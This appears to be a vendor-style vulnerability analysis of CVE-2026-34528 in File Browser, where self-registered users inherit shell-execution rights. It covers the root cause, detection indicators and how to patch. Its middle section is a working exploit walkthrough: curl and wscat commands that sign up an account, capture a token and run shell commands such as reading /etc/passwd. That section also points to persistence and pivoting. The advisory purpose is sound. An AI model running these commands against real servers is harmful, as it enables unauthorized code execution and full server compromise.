CVE-2026-34528: 
NixOS vulnerability analysis and mitigation

CVE-2026-34528 is an improper privilege management vulnerability in File Browser (filebrowser/filebrowser) that allows unauthenticated users who self-register to inherit shell execution capabilities from the default user template. The signupHandler applies all default permissions via d.settings.Defaults.Apply(user) but only strips the Admin flag, leaving Execute permission and the Commands list intact. All versions up to and including 2.62.1 are affected; version 2.62.2 contains the fix. The vulnerability was published to the GitHub Advisory Database on March 31, 2026, and to NVD on April 1, 2026. The GitHub Advisory assigns a CVSS v3.1 score of 8.1 (High), while Feedly's estimate places it at 9.8 (Critical) (GitHub Advisory, GitHub Security Advisory).

The root cause is CWE-269 (Improper Privilege Management): the signupHandler in http/auth.go (lines 167–172) calls d.settings.Defaults.Apply(user), which copies the full permissions struct — including Perm.Execute and Commands — from the default user template, then only sets user.Perm.Admin = false. The UserDefaults.Apply() function in settings/defaults.go (lines 31–33) explicitly assigns u.Perm = d.Perm and u.Commands = d.Commands, so any execution-related defaults persist in the database for the newly created account. At request time, commandsHandler (http/commands.go:63–66) checks both the server-wide EnableExec flag and d.user.Perm.Execute; since both are true for the self-registered attacker, the check passes and exec.Command() is invoked. This vulnerability is a direct consequence of an incomplete fix from CVE-2026-32760 (GHSA-5gg9-5g7w-hm73), which stripped only Admin from signup users (GitHub Advisory, GitHub Security Advisory).

An unauthenticated attacker can self-register and immediately execute arbitrary shell commands on the server with the privileges of the File Browser process. All files accessible to the process, environment variables (including secrets), and network interfaces are exposed, resulting in complete server compromise when File Browser runs as root. Even in non-root deployments, the attacker gains a significant lateral movement vector, with the ability to read sensitive data, modify files, and pivot to other systems on the network (GitHub Advisory, GitHub Security Advisory).

A public proof-of-concept exploit is available in the GitHub Security Advisory, providing complete step-by-step curl and wscat commands to self-register, capture a JWT, and execute arbitrary shell commands via WebSocket (GitHub Security Advisory). Exploitation requires three specific administrator-configured conditions to be simultaneously active: public self-registration enabled (signup=true), server-side command execution enabled (enableExec=true), and Execute=true with a populated Commands list in the default user template. As of the time of reporting, there is no evidence of in-the-wild exploitation, no known threat actor attribution, and no CISA KEV catalog listing. The EPSS score is approximately 0.089–0.177%, indicating a currently low but non-negligible exploitation probability (GitHub Advisory).

1. Reconnaissance: Identify internet-facing File Browser instances (versions ≤ 2.62.1) using tools like Shodan or Censys. Confirm that public signup is enabled by checking if POST /api/signup returns a 200 response.
2. Self-register an account: Send an unauthenticated POST request to create a new user account:

TARGET="http://<target>:8080"
curl -s -X POST "$TARGET/api/signup" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}'

3. Authenticate and capture JWT: Log in with the newly created credentials to obtain a JWT token:

TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"AttackerP@ss1!"}' | tr -d '"')

4. Verify inherited permissions: Decode the JWT payload to confirm execute: true and a populated commands list are present:

echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool

5. Execute arbitrary shell commands via WebSocket: Use wscat to open a WebSocket connection to /api/command/ and send a shell command:

echo '{"command":"bash -c \"id && hostname && cat /etc/passwd | head -3\""}' | \
  wscat --header "X-Auth: $TOKEN" \
  --connect "$TARGET/api/command/" \
  --wait 3

6. Achieve objectives: Use the shell execution capability to exfiltrate data, establish persistence (e.g., add SSH keys, create cron jobs), or pivot laterally within the network (GitHub Security Advisory).

• Network: Unexpected POST requests to /api/signup from unknown or external IP addresses; WebSocket connections to /api/command/ from newly registered accounts shortly after account creation; unusual outbound connections from the File Browser server process to external IPs.
• Logs: File Browser access logs showing POST /api/signup followed quickly by POST /api/login and WebSocket upgrade requests to /api/command/ from the same source IP; command execution logs showing shell commands (e.g., id, hostname, cat /etc/passwd) run by recently created user accounts.
• File System: New or modified files in directories accessible to the File Browser process (e.g., web shells, SSH authorized_keys modifications, new cron job files); unexpected scripts or binaries dropped in writable directories.
• Process: Unusual child processes spawned by the File Browser process (e.g., bash, sh, curl, wget, python3); processes running under the File Browser service account that are not typical for normal operation.
• User Accounts: Presence of newly self-registered user accounts in the File Browser database with Execute=true and a non-empty Commands list, especially accounts created outside of normal business hours (GitHub Security Advisory).

Upgrade File Browser to version 2.62.2 or later, which extends the permission stripping in http/auth.go to also set user.Perm.Execute = false and user.Commands = []string{} for all self-registered users (v2.62.2 Release). If immediate patching is not possible, disable at least one of the three required conditions: set signup=false to disable public self-registration, set enableExec=false to disable server-side command execution, or remove Execute=true from the default user template settings. Administrators should also audit existing self-registered user accounts for inherited Execute permissions and revoke them manually if found (GitHub Advisory).

The vulnerability was noted on Mastodon by @thehackerwire, indicating some social media awareness shortly after disclosure. The advisory was picked up by VulDB, GitLab's advisory database, and several CVE aggregator sites (cvefeed.io, cve.akaoma.com, exploit-intel.com), reflecting standard community tracking of the issue. The fix commit message (fix: self-registered users don't get execute perms) in the v2.62.2 release changelog confirms the maintainer's acknowledgment of the incomplete prior fix (v2.62.2 Release, GitHub Advisory).